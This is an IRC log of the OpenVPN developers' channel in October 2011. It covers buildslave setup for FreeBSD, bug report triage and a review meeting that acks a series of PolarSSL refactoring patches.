you want to skip the tests, use another make target (not sure which) 15:49 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 17:23 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Remote host closed the connection] 17:26 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:26 -!- mode/#openvpn-devel [+o raidz] by ChanServ 17:26 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Remote host closed the connection] 17:27 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:27 -!- mode/#openvpn-devel [+o raidz] by ChanServ 18:07 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Quit: Leaving.] 18:07 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 18:07 -!- mode/#openvpn-devel [+o raidz] by ChanServ 18:22 <+ecrist> any clues on this, guys? 18:22 <+ecrist> 14:37:40 <mandree> route.c: In function 'get_default_gateway': 18:22 <+ecrist> 14:37:40 <mandree> route.c:2584: warning: 'return' with a value, in function returning void 18:22 <+ecrist> 14:37:40 <mandree> route.c:2608: warning: 'return' with a value, in function returning void 18:41 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Remote host closed the connection] 18:49 < uuuppz> ecrist: those line numbers don't match with latest source, but several of the different implementations of that func do have "return false" statements and are defined as void functions. 18:49 < uuuppz> Should be fixed for neatness, but don't think its gonna cause a problem... 18:50 < uuuppz> the one for netbsd seems to hav two 18:53 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 18:53 -!- mode/#openvpn-devel [+o raidz] by ChanServ 18:56 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 18:56 -!- mode/#openvpn-devel [+v krzie] by ChanServ --- Day changed Wed Oct 05 2011 01:32 -!- dazo_afk is now known as dazo 01:40 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:40 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:41 <@mattock> meeting tomorrow as usual? 02:05 <@dazo> ecrist: Looks like get_default_gateway() needs to be reviewed for FreeBSD/DragonFly/OpenBSD/NetBSD ... other platforms have been modified quite a bit in how the logic works 02:06 * dazo blames James route block-local code 02:07 <@dazo> (commit 7fb0e07ec3f7c5f6514523085dbe02ea6b8933e2 is the offender again) 02:12 <@mattock> hmm... as AS only runs on Linux, I'm not surprised... 02:32 <@dazo> hmm 02:32 <@dazo> Darwin, Linux and Windows is covered ... so, yet again *BSD is left behind 02:35 <@dazo> (Darwin == OSX) 02:47 <@mattock> dazo: planning on pushing any commits to the repo? 02:47 <@mattock> I could launch all the buildslaves and see what happens 02:47 <@dazo> I don't have anything prepared right now, afair 02:47 <@mattock> ok, np 02:47 <@mattock> let me know when you do 02:56 <@dazo> will do! 04:08 <@cron2> dazo: I'll go and work on FreeBSD this weekend 04:08 <@dazo> cron2: thx a lot! 04:09 <@cron2> mattock: you could run the buildslaves with -Werror - making all warnings immediately fatal, and see which platforms break 04:09 <@cron2> (but then, since you don't have any *BSDs, you won't see those... - working on it, stay tuned) 07:00 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 07:08 <@dazo> SviMik: I saw your question reg. a possible bug ... I'd say report it in Trac, and we'll close it as notabug if it's not a bug ... but not easy to say if it is or not right now 07:08 < SviMik> ok 07:09 <@dazo> SviMik: please also add some reproducing routines, preferably with config files for clients and server ... so that we can easily trigger this when testing ... for certificates,please use those found in ./sample-keys 07:10 < SviMik> unfortunately, I see it only on production server. maybe some illegal connection or broken client, don't know 07:10 <@vpnHelper> RSS Update - tickets: #166: ipp file: delayed update <https://community.openvpn.net/openvpn/ticket/166> 07:12 <@dazo> SviMik: that makes it more difficult to know if it is something we can or should fix ... and those kind bugs don't get much attention - esp. when it is uncertain if it is a bug or faulty config 07:14 <@dazo> SviMik: is this related to --ifconfig-pool-persist ? 07:14 < SviMik> yes 07:14 <@dazo> SviMik: Please go to the man page and read that one carefully 07:15 <@dazo> it can take an additional argument 07:15 < SviMik> sorry, please remove this bugreport if it's my fault ) 07:20 < SviMik> dazo yes, that's my inattention ) 07:21 <@dazo> SviMik: Okay, I closed the ticket with some more info 07:22 <@vpnHelper> RSS Update - tickets: #167: UNDEF user with big uptime <https://community.openvpn.net/openvpn/ticket/167> 07:36 < SviMik> dazo here is my bug. config files are also there. 07:37 <@dazo> SviMik: Cool ... that sounds more like a bug 07:37 < SviMik> :) 07:38 <@dazo> I'll try to reproduce that one in one of my setups ... got a server/client connection with a 24/7 VPN link 07:38 * dazo heads out for some hours 07:40 < SviMik> I have no idea how to reproduce that. obviously it should be something wrong on the client side (maybe expired certificates?) 07:41 < SviMik> the configuration is ordinary and clear. Right now I have 65 clients and everything works. 07:42 < SviMik> but also have such one "broken" client 07:55 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Ping timeout: 252 seconds] 08:28 -!- MikeJansen [~217216X71@rrcs-24-56-87-226.ma.biz.rr.com] has joined #openvpn-devel 08:35 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 08:42 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Ping timeout: 252 seconds] 08:43 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 09:21 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Ping timeout: 252 seconds] 09:48 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 09:55 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Ping timeout: 252 seconds] 15:02 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: mattock] 15:44 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 15:55 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Ping timeout: 252 seconds] 15:59 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 16:03 < SviMik> dazo I got the idea to see the log. Here it is: https://community.openvpn.net/openvpn/ticket/167#comment:3 16:03 <@vpnHelper> Title: #167 (UNDEF user with big uptime) – OpenVPN Community (at community.openvpn.net) 16:03 < SviMik> there are many Authenticate/Decrypt errors. 16:04 < SviMik> but, if Authenticate error occurs - the client should be disconnected... 16:05 < SviMik> I think that's because his certificate got expired. 16:11 <@cron2> FreeBSD 8.2 install done, now installing git + lzo2... 16:13 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Quit: pIRC v2.2 < Personal IRC Team > http://ircworld.ru and http://xirc.ru/] 16:14 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 16:16 -!- dazo is now known as dazo_afk 16:40 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Quit: pIRC v2.2 < Personal IRC Team > http://ircworld.ru and http://xirc.ru/] 22:58 -!- disturbedmime [~derp@host-134-71-250-150.allocated.csupomona.edu] has joined #openvpn-devel 22:58 < disturbedmime> does anyone have a good link for building a custom install package with certs, etc. for end-users (win7), similar to the packages that untangle creates? --- Day changed Thu Oct 06 2011 00:28 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:28 -!- mode/#openvpn-devel [+v krzee] by ChanServ 00:30 -!- disturbedmime [~derp@host-134-71-250-150.allocated.csupomona.edu] has left #openvpn-devel [] 01:32 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Quit: All your VPN are belong to us] 01:35 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 01:35 -!- mode/#openvpn-devel [+o raidz] by ChanServ 02:00 <@cron2> mattock: are you around? 02:35 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 04:47 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 06:24 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:24 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:25 <@mattock> andj: can you make to the meeting today? 06:26 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:26 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 06:26 <@andj> mattock: sure, I'll be there 06:27 <@mattock> excellent! I'll ask if James can attend, too 06:27 <@andj> cool, let's see whether we can get the patches complete 06:34 <@mattock> mail sent 06:34 <@mattock> if he'll attend, I'll setup the meeting agenda 06:38 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving] 06:48 <@andj> cool, I'll be there this evening, and we'll see then 07:40 -!- MikeJansen [~217216X71@rrcs-24-56-87-226.ma.biz.rr.com] has quit [Quit: Leaving.] 07:44 -!- MikeJansen [~mike@cpe-067-023-156-025.dhcp.wadsnet.com] has joined #openvpn-devel 07:47 <+ecrist> mattock: cron2 was looking for you earlier (~5 hours ago) 07:47 <@mattock> cron2: what's up? 07:55 <@cron2> mattock: ah, there you're hiding 07:55 <@mattock> yep 07:55 * cron2 needs instructions how to go ahead with the buildslave 07:58 <@mattock> ah 07:58 <@mattock> haven't heard back from James regarding the "sponsors/thank you/whatever" 07:58 <@mattock> btw. there are tons of compile failures on our current buildslaves 07:58 * cron2 decided not to care about openvpn tech... 07:59 <@mattock> good idea :D 08:00 <@cron2> we're sponsoring openvpn-the-community-project, and it would be good if openvpn tech would like it, but if not, well, then they need to get over it 08:00 <@mattock> this is the current failure on many of the buildslaves: http://pastebin.com/UJhWXDBB 08:00 <@cron2> huh 08:01 <@cron2> this looks like dgueri's patch was only partially applied 08:01 <@mattock> check http://10.7.36.101:8010/one_box_per_builder for details 08:03 <@cron2> uh 08:03 <@cron2> how does this openvpn thingie work? 08:04 <@cron2> I have a ca.crt and a ta.key, but not user/password values. Or do I have them? 08:04 <@mattock> you have an account for the community services, it's called "cron2" 08:05 <@mattock> :D 08:05 <@cron2> ah, ldap auth 08:05 <@mattock> can't help with the password, but you can reset it 08:05 <@mattock> yes 08:06 <@cron2> so easy :) 08:06 <@mattock> yep 08:06 <@mattock> did you get access? 08:06 <@cron2> yes 08:07 <@mattock> nice! 08:07 <@mattock> the build flags should be obvious from the builder names 08:07 <@cron2> yep 08:08 <@cron2> but I still have no idea what to do next 08:08 <@cron2> I have installed the buildslave, and git, and lzo2, etc. 08:09 <@mattock> re: build failures... disregard the "failed shell" errors 08:09 <@mattock> there was just a glitch in master.cfg which caused that 08:09 <@mattock> just a sec... 08:09 <@mattock> so you're following these instructions: https://community.openvpn.net/openvpn/wiki/SettingUpBuildslave ? 08:09 <@vpnHelper> Title: SettingUpBuildslave – OpenVPN Community (at community.openvpn.net) 08:10 <@cron2> yes, up to the "configuring the buildslave" bit 08:11 <@mattock> you've read the documentation link? 08:11 <@cron2> yes 08:11 <@mattock> so you've initialized the buildslave already? 08:11 <@cron2> no, because for that I need buildmaster host/port, botname, and password :) 08:12 <@mattock> ok 08:12 <@mattock> just a sec 08:14 <@mattock> cron2: could you give your buildslaves some descriptive names? 08:14 <@cron2> fbsd82 08:15 <@cron2> or maybe call it cron2-fbsd82 08:15 <@cron2> yeah, bettre 08:15 <@mattock> I've used the syntax os-osversion-architecture 08:15 <@mattock> e.g. debian-6-i386 08:15 <@cron2> cron2-freebsd-82-amd64 08:15 <@mattock> ok 08:15 <@mattock> do you have others in the works? 08:15 <@mattock> I need to edit master.cfg so I could add all at once 08:16 <@cron2> yes. If that one works, freebsd-74-amd64 will follow, as will openbsd-49-i386 and netbsd-51-amd64 08:16 <@cron2> and then, we'll see :) 08:19 <@mattock> ok, let's start with the first one 08:24 <@mattock> it should "just work"(tm) once you've ran buildbot create-slave <arguments> and launch buildbot 08:24 <@mattock> although filling the hostinfo stuff should not hurt 08:28 <@cron2> hrm 08:29 <@cron2> so you're telling me that buildmaster is only accessible from within the VPN? 08:38 <@mattock> yes 08:39 <@mattock> each buildslave has a separate set of credentials for the VPN 08:39 <@cron2> ok, so where do I get the VPN credentials for the buildslave? 08:39 <@mattock> well, you can create themself using pwm, but I need to flip one switch 08:39 <@mattock> in LDAP 08:39 <@mattock> add the user account(s) to a group 08:40 <@mattock> but for testing your own account is fine 08:40 * cron2 wonders whether this is really needed, and whether buildbot can use something more lightweight, like "https"... 08:40 <@mattock> well, I don't personally trust buildbot's security 08:40 <@cron2> this machine doesn't have openvpn yet, it's supposed to *build* it... :) 08:41 <@mattock> never thought of it from that perspective :D 08:42 <@mattock> there have been known exploits for buildbot in the past, that's why decided to hide it behind the VPN 08:42 <@mattock> also, most people who need the info are devs, who can get VPN access anyways 08:42 <@cron2> yeah, sure, it's just a hassle to get that all in place so it works across reboots etc 08:43 <@cron2> but will give it a try, just need to fix a few other htings in the mean time (paid-for work) 08:43 <@mattock> ok, excellent! 08:43 <@mattock> we can debate the VPN<->https later :P 08:44 <@mattock> oh, one more things... say the bulldmaster is compromised 08:44 <@mattock> if we want to run t_client.sh on the buildslaves, they need to run as root 08:44 <@mattock> and buildmaster gives them the commands 08:44 <@cron2> these buildslaves are fully untrusted, there is nothing else there 08:44 <@mattock> good 09:03 <@cron2> ecrist: ayt? 09:11 <@cron2> mattock: Failure: twisted.cred.error.UnauthorizedLogin: 09:32 <@mattock> ah, lemme check 09:33 <@mattock> cron2: try slave-cron2-freebsd-82-amd64 as the slave name 09:34 <@mattock> andj: no response from James yet 09:34 <@mattock> I'll check again around 17:00 UTc 09:38 <@cron2> mattock: nah 09:39 <@cron2> well, maybe... 09:39 <@cron2> nah 10:02 <@mattock> ok, now I got what the issue is 10:05 <@cron2> cool. let me guess: buildmaster doesn't talk to non-mattock VPN clients? :) 10:07 <@mattock> try now 10:07 <@mattock> nope, master.cfg was managed by puppet 10:08 <@cron2> heh 10:08 <@mattock> so it overwrote my modifications (with your slave's info) 10:08 <@mattock> _should_ work now, but we'll see 10:08 <@cron2> yep 10:08 <@cron2> logged in 10:08 <@cron2> can you send a build job here? 10:09 <@cron2> pwm should have created a user "cron2-fbsd82" now 10:10 <@mattock> actually, you can force builds yourself 10:10 <@mattock> lemme check a link 10:10 * cron2 cant, because my VPN credentials are in use, and openvpn will kick out the buildslave if I start the VPN from here 10:11 <@mattock> ah 10:11 <@mattock> I'll trigger a build then 10:11 <@mattock> then I got to go 10:12 <@cron2> yep, see ya at meeting time 10:12 <@mattock> ok, done 10:12 <@mattock> stuff should start happening 10:12 <@cron2> something happened 10:12 <@mattock> andj: james will be here at meeting time 10:13 <@cron2> did it work? 10:13 <@mattock> cron2: the build failed, some git issue 10:13 <@mattock> will look closer later 10:13 <@cron2> mattock: ok, let me know if I need to fix something 10:13 <@mattock> if you create the account for your buildslave, I can add it to VPN group in LDAP 10:13 <@cron2> git fetch seems to have worked, it failed at git branch time (if I read this right) 10:14 <@cron2> mattock: cron2-fbsd82 is the account 10:14 <@mattock> ok 10:14 <@mattock> I'll take care of that now then 10:15 <@cron2> thanmks 10:16 <@mattock> mkay, done 10:18 <@mattock> meeting invitation sent, see you later! 10:27 <+ecrist> cron2: ? 10:28 <+ecrist> I had an errand, sorry 10:37 <@andj> mattock: great news 12:11 <@cron2> ecrist: you're the port maintainer for openvpn-beta 12:11 <@cron2> ecrist: is this a useful port to keep? 12:50 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:50 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 12:57 <+ecrist> cron2: yes, because when 2.3-beta comes out, we'll use it 12:57 <+ecrist> I'm also the port maintainer for openvpn-devel 12:58 <+ecrist> mandree@ is the maintainer for the main port, and he and I decided to keep -beta around, rather than a regular delete/recreate process 12:59 <@cron2> ok (I'm aware of openvpn and openvpn-devel, just wondered about -beta - but yeah, makes sense) 13:01 <+ecrist> we're going to be adding a new feature to the -devel port sometime soon, using resolvconf to update DNS settings pushed from openvpn. it's going to start on -devel as experimental and we're hoping to get feedback. 13:01 <+ecrist> If I can get it working right, we'll push it up to the main port. 13:02 <+ecrist> as I understand, freebsd 9 has openresolvconf in base, and we need to use a port for < 9, but that's all trivial. 13:04 <@andj> hi everyone 13:04 <@cron2> ecrist: sounds good 13:04 <@cron2> hi andj 13:04 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 258 seconds] 13:04 <+ecrist> cron2: do you know of open/net have resolvconf at all? 13:04 <@cron2> no idea 13:04 <@cron2> ask me that when free is done and I had time to sort out my *bsd VMs 13:05 <+ecrist> heh, ok 13:05 <@cron2> just now I'm busy building a buildslave on free 8.2 for mattock 13:07 <+krzie> ecrist, ive always wondered why that script even uses resolvconf as a dependancy, i mean it would be so easily accomplished with mv / echo, and mv to undo 13:09 <@cron2> nah, resolvconf is more clever than "just overwrite", you can also merge things 13:10 <+krzie> ok, cp / grep -v / echo 13:10 <+krzie> is resolvconf actually used in some clever way? 13:10 <+krzie> (in the script) 13:10 <@cron2> now that is something I have no idea :) 13:11 <@cron2> so where's mattock and dazo? 13:13 <@andj> no idea :) 13:13 <+krzie> ill guess vacation and czech republic 13:13 <+krzie> just from experience ;) 13:14 <@cron2> nah, vacation is over 13:16 <+ecrist> krzie: I'll email you the script I was given to use as a template. 13:17 <+krzie> cron2, what about the vacation from vacation? 13:17 <@cron2> he was here this afternoon :) 13:19 < SviMik> afternoon in which time zone? :) 13:19 <@andj> yeah, he actually asked me whether I would come :) 13:20 <@andj> For me central european 13:21 <@cron2> ditto 13:23 <+ecrist> krzie: you have mail. 13:25 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:25 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:27 <@andj> hello 13:28 < SviMik> do we have a meeting today? 13:28 <@andj> we should have, but mattock is a tad late 13:28 <@cron2> supposedly yes 13:28 <@cron2> andj: how many of your patches are still pending? 13:28 <@andj> I guess we could get started with the patches now that james is here 13:29 <@andj> not many, we should be able to get through them this evening 13:29 <@andj> shall we get started with the patches then? 13:31 <@andj> jamesyonan, cron2? 13:31 <@jamesyonan> hi andj 13:31 < SviMik> I have 2 bugreports, but they are not in agenda, don't know why 13:32 < SviMik> previous bugreport was is agenda :) 13:32 <@cron2> andj: yep 13:32 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:32 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 13:32 <@cron2> the mattock has returned! 13:32 <@mattock_> hi 13:32 <+krzie> ecrist, i messaged a nice update to that script 13:33 <@andj> ah, hi mattock 13:33 <@mattock_> was I missing for a long? 13:33 <@mattock_> or just briefly? 13:33 < SviMik> a meeting? 13:33 <@andj> about 40 mins 13:33 < SviMik> :) 13:34 <@andj> the first patch is the big one: https://github.com/andj/openvpn-ssl-refactoring/commit/0ef8d44cc4b9b10f174101cf420af0a5b2150809 13:34 <@vpnHelper> Title: Commit 0ef8d44cc4b9b10f174101cf420af0a5b2150809 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:34 <@andj> shall we go through it file-by file, skipping the *_polarssl.[ch] 13:34 <@andj> ones, as discussed last week? 13:35 <@cron2> fine with me 13:35 <@andj> Makefile.am adds the new files 13:35 <+ecrist> krzie: looking 13:36 <@andj> README.polarssl adds some extra instructions, and some things that are missing 13:36 <@mattock_> oh 13:38 <@andj> do you guys prefer doing an ack per file? or just for the whole patch? 13:40 <@cron2> well, the autoconf related stuff looks reasonable to me. The crypto_polarssl.c needs testing, I'd say, or review from someone who understands polar ssl :) 13:40 <@andj> yeah, we decided last week that the _polarssl stuff could be reviewed at a slower pace, as it isn't part of the default build 13:41 <@andj> it's just the files that already exist that are important 13:41 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/0ef8d44cc4b9b10f174101cf420af0a5b2150809#diff-8 13:41 <@vpnHelper> Title: Commit 0ef8d44cc4b9b10f174101cf420af0a5b2150809 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:41 <@jamesyonan> yes, it seems reasonable in the way that it touches the default build 13:41 <@andj> that bit is the only one that modifies stuff 13:41 <@andj> but it's just ifdefs 13:42 <@andj> ok, is that an ack? 13:42 * cron2 is still scrolling 13:42 <@andj> ok :) 13:43 <@cron2> looks reasonable to me, too 13:43 <@andj> ok, the next one is a minor bug fix: https://github.com/andj/openvpn-ssl-refactoring/commit/511691b09e2ac739482260267a0a1b97cd870d36 13:43 <@vpnHelper> Title: Commit 511691b09e2ac739482260267a0a1b97cd870d36 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:45 <@mattock_> andj: are you updating the wiki too? 13:45 <@andj> I am now :) 13:45 <@mattock_> ah, nice! 13:45 <@cron2> andj: ack on that, looks like a separation oversight 13:45 <@mattock_> (using my mobile) 13:46 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/f43e33e4abb961a85cd67234c57bf16157b4d764 https://github.com/andj/openvpn-ssl-refactoring/commit/0f3bb68db10ce4aa029501092dc36cddd48d41ed 13:46 <@vpnHelper> Title: Commit f43e33e4abb961a85cd67234c57bf16157b4d764 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:46 <@cron2> which one? 13:46 <@andj> both together 13:47 <@jamesyonan> looks fine 13:47 <@andj> which ones, jamesyonan? 13:47 <@cron2> who is free()ing the memory? 13:48 <+ecrist> dazo's not here today? 13:48 <@andj> cron2: let me check for you 13:48 <@mattock_> apparently not 13:49 <@andj> ssl_verify.c 13:49 <@jamesyonan> andj: the trivial patches for SHA_DIGEST_SIZE definition and Fixed a bug in the hash generation 13:49 <@andj> is freeing the memory 13:49 <@cron2> then ack :) 13:49 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/8d4360d179cb176803e330e3a947e6c34315b225 13:49 <@vpnHelper> Title: Commit 8d4360d179cb176803e330e3a947e6c34315b225 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:50 <@andj> that one migrates to a newer version of PolarSSL, which uses (correctly) size_t instead of int 13:50 <@andj> and has different return values on 1 or 2 functions 13:52 <@cron2> guessed something like that, yeah. Not exactly pretty, but obviously needed 13:52 <@andj> what happened is that I wrote some patches for PolarSSL 13:52 <@andj> to add some extra functionality 13:52 <@andj> and those got integrated into Polar 0.99 13:52 <@jamesyonan> yeah, OpenSSL uses ints in a lot of places where modern code would use a size_t 13:53 <@andj> There'll be a similar patch from 0.99->1.0 soon 13:53 <@andj> yeah, Polar modernised the code base before 1.0 13:53 <@andj> now they still had the chance :) 13:54 <@andj> next one: https://github.com/andj/openvpn-ssl-refactoring/commit/a6ce24ef2999fcc73ee1590fdc4518842c228f4e 13:54 <@vpnHelper> Title: Commit a6ce24ef2999fcc73ee1590fdc4518842c228f4e to andj/openvpn-ssl-refactoring - GitHub (at github.com) 13:54 <@andj> same story, but for the SSL bit 13:55 <@jamesyonan> andj: how does PolarSSL deal with external private keys -- I noticed you didn't implement most of the OpenVPN external private key functions like management-external-key and crypto API 13:55 <@andj> at the moment, it doesn't 13:55 <@andj> the RSA code is pretty static 13:56 <@andj> and doesn't play all to well with other providers 13:56 <@andj> it's something that will come up, probably together with elliptic curve crypto 13:56 <@jamesyonan> these days, most people in a high-security environment are going to want multifactor auth which often requires external key support 13:57 <@cron2> andj: patch doesn't make sense to me, but it does not have to "if it works with polarssl, it will be fine" 13:58 <@andj> jamesyonan: it's going to happen in PolarSSL at some point, ECC is the most requested feature atm anyway, but I'm leaving that up to them. 13:58 <@andj> and that's the perfect moment to modularise the asymmetric code further 13:59 <@andj> cron2: indeed, it's just some API changes 13:59 <@andj> ack on that one? 13:59 <@andj> next one is a printf fix: https://github.com/andj/openvpn-ssl-refactoring/commit/3bff5d3dc0cd62e24269ad8f1cb1588c9e47b433 14:00 <@vpnHelper> Title: Commit 3bff5d3dc0cd62e24269ad8f1cb1588c9e47b433 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:00 <@cron2> given last week's plan on not looking very close at the *polarssl* files, ACK :) 14:00 <@cron2> huh, what is %zd? 14:00 <@andj> special value for size_t 14:01 <@andj> we had a similar discussion a few meetings ago for %p 14:01 <@cron2> is that portable, like, to Solaris, *BSD, Windows? 14:01 <@cron2> now %p *is* (for pointer values) 14:01 <@cron2> but I've never seen %zd 14:01 <@jamesyonan> does windows/visual-studio support %zd? 14:02 <@cron2> FreeBSD 7 has %zd 14:02 <@andj> MS doesn't: http://msdn.microsoft.com/en-us/library/tcxf1dw6.aspx 14:02 <@vpnHelper> Title: Size Specification (at msdn.microsoft.com) 14:03 <@cron2> FreeBSD 6 doesn't 14:03 <@andj> ok, point taken, I'll write a patch for it 14:03 <@cron2> I'd tend to nack that change, and use a cast 14:03 <@cron2> %ld and (long) or %d and (int), whatever is reasonable 14:04 <@jamesyonan> OpenVPN actually has a .h file where we define various platform-specific format specifiers 14:04 <@andj> thanks, I'll look for it 14:04 <@jamesyonan> we use it for printing 64-bit byte counters 14:04 <@andj> next one: https://github.com/andj/openvpn-ssl-refactoring/commit/bc2dbfc7e9cf9d0552374e49750012a444e2a70f 14:04 <@vpnHelper> Title: Commit bc2dbfc7e9cf9d0552374e49750012a444e2a70f to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:04 <@andj> disable pkcs12 14:06 <@cron2> ack 14:07 <@andj> same, but for capath: https://github.com/andj/openvpn-ssl-refactoring/commit/74ca0110269a46607e3211f8d7c6b1d250361d99 14:07 <@vpnHelper> Title: Commit 74ca0110269a46607e3211f8d7c6b1d250361d99 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:08 <@jamesyonan> both look fine 14:08 <@andj> cool, next is disable CrAPI: https://github.com/andj/openvpn-ssl-refactoring/commit/f79f1556902d1c73416858813cc75594d3d2fdf6 14:08 <@vpnHelper> Title: Commit f79f1556902d1c73416858813cc75594d3d2fdf6 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:08 <+ecrist> heh, CrAPI 14:09 <@andj> :) 14:09 <+ecrist> ><{{{*> 14:09 <@cron2> looks good to me (though I can't say whether you caught all places) 14:09 <@andj> external keys: https://github.com/andj/openvpn-ssl-refactoring/commit/09f156a99ac16c1157392818d43b6dd4b898d659 14:09 <@vpnHelper> Title: Commit 09f156a99ac16c1157392818d43b6dd4b898d659 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:10 <@jamesyonan> that's the kind of patch that will usually give you a compile error if you get it wrong 14:10 <@andj> yeah, and I double checked using grep 14:10 <@jamesyonan> CryptoAPI patch looks fine 14:11 <@cron2> yep, but only if you compile on windows :) - so this is something that certainly needs testing after the merge 14:11 <@cron2> (*extra* testing) 14:11 <@andj> I compile on both windows and linux btw 14:11 <@cron2> andj: oh? cool 14:11 <@jamesyonan> mingw or visual studio? 14:11 <@andj> I've got a cute little build farm set up for the polarssl build 14:11 <@cron2> ACK, then :) 14:12 <@andj> visual studio 14:12 <@jamesyonan> ack as well 14:12 <@andj> but it's currently 2.1.4 & polarssl 0.14.3 14:12 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/b28532360c4ddf2d2bec62b5c7b62d2ae05c9ce1 14:12 <@vpnHelper> Title: Commit b28532360c4ddf2d2bec62b5c7b62d2ae05c9ce1 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:14 <@jamesyonan> looks fine 14:14 <@andj> https://github.com/andj/openvpn-ssl-refactoring/commit/2b018cc88744bf580e62e3a403b58deba267a798 14:14 <@vpnHelper> Title: Commit 2b018cc88744bf580e62e3a403b58deba267a798 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:14 <@andj> more external cert stuff 14:17 <@jamesyonan> why do you need to write a certificate? 14:17 <@jamesyonan> (to a file) 14:17 <@andj> It's for external scripts 14:17 <@jamesyonan> ah, ok 14:18 <@andj> basically, it's not yet possible in Polar 14:18 <@andj> so it's openssl-only 14:18 <@andj> again, a feature that's imminent in PolarSSL 14:19 <@jamesyonan> just curious, what's the rough size of the built PolarSSL libs 14:21 <@andj> depends on what you include 14:21 <@andj> not exactly sure though 14:21 <@andj> 400k or so I think 14:22 <@andj> but that might be with debug symbols 14:22 <@andj> and static 14:22 <@jamesyonan> yeah, that's definitely smaller than OpenSSL 14:22 <@andj> think libcrypto is about 4-5 MB :) 14:23 <@jamesyonan> no, not that large 14:23 <@andj> ack on externel cert? 14:23 <@andj> 1.6 MB 14:23 <@jamesyonan> yes, ack 14:23 <@andj> the dynamic one 14:24 <@andj> ok, only 3 small ones left: https://github.com/andj/openvpn-ssl-refactoring/commit/60890102b755390e704a74ee2962780480b50c80 14:24 <@vpnHelper> Title: Commit 60890102b755390e704a74ee2962780480b50c80 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:24 <@jamesyonan> looks fine 14:24 <@andj> Add a tag for a build: https://github.com/andj/openvpn-ssl-refactoring/commit/5f5eca00f31199571450cceee1f4469154bd4d38 14:24 <@vpnHelper> Title: Commit 5f5eca00f31199571450cceee1f4469154bd4d38 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:25 <@jamesyonan> ack 14:25 <@andj> and, finally disable x509 track: https://github.com/andj/openvpn-ssl-refactoring/commit/7c18f7cd1ef7e79a489bf116a4ca33c97227dc08 14:25 <@vpnHelper> Title: Commit 7c18f7cd1ef7e79a489bf116a4ca33c97227dc08 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 14:25 <@cron2> ack for the build tag 14:26 <@andj> build tag? 14:26 <@andj> ah, that one :) 14:26 <@andj> what header file contained the size_t defines, can't seem to find it? 14:29 <@jamesyonan> ack for Disabled X.509 track 14:29 <@andj> whee :) 14:29 <@andj> that's the last one 14:29 <@cron2> cool 14:29 <@andj> aside from the fix 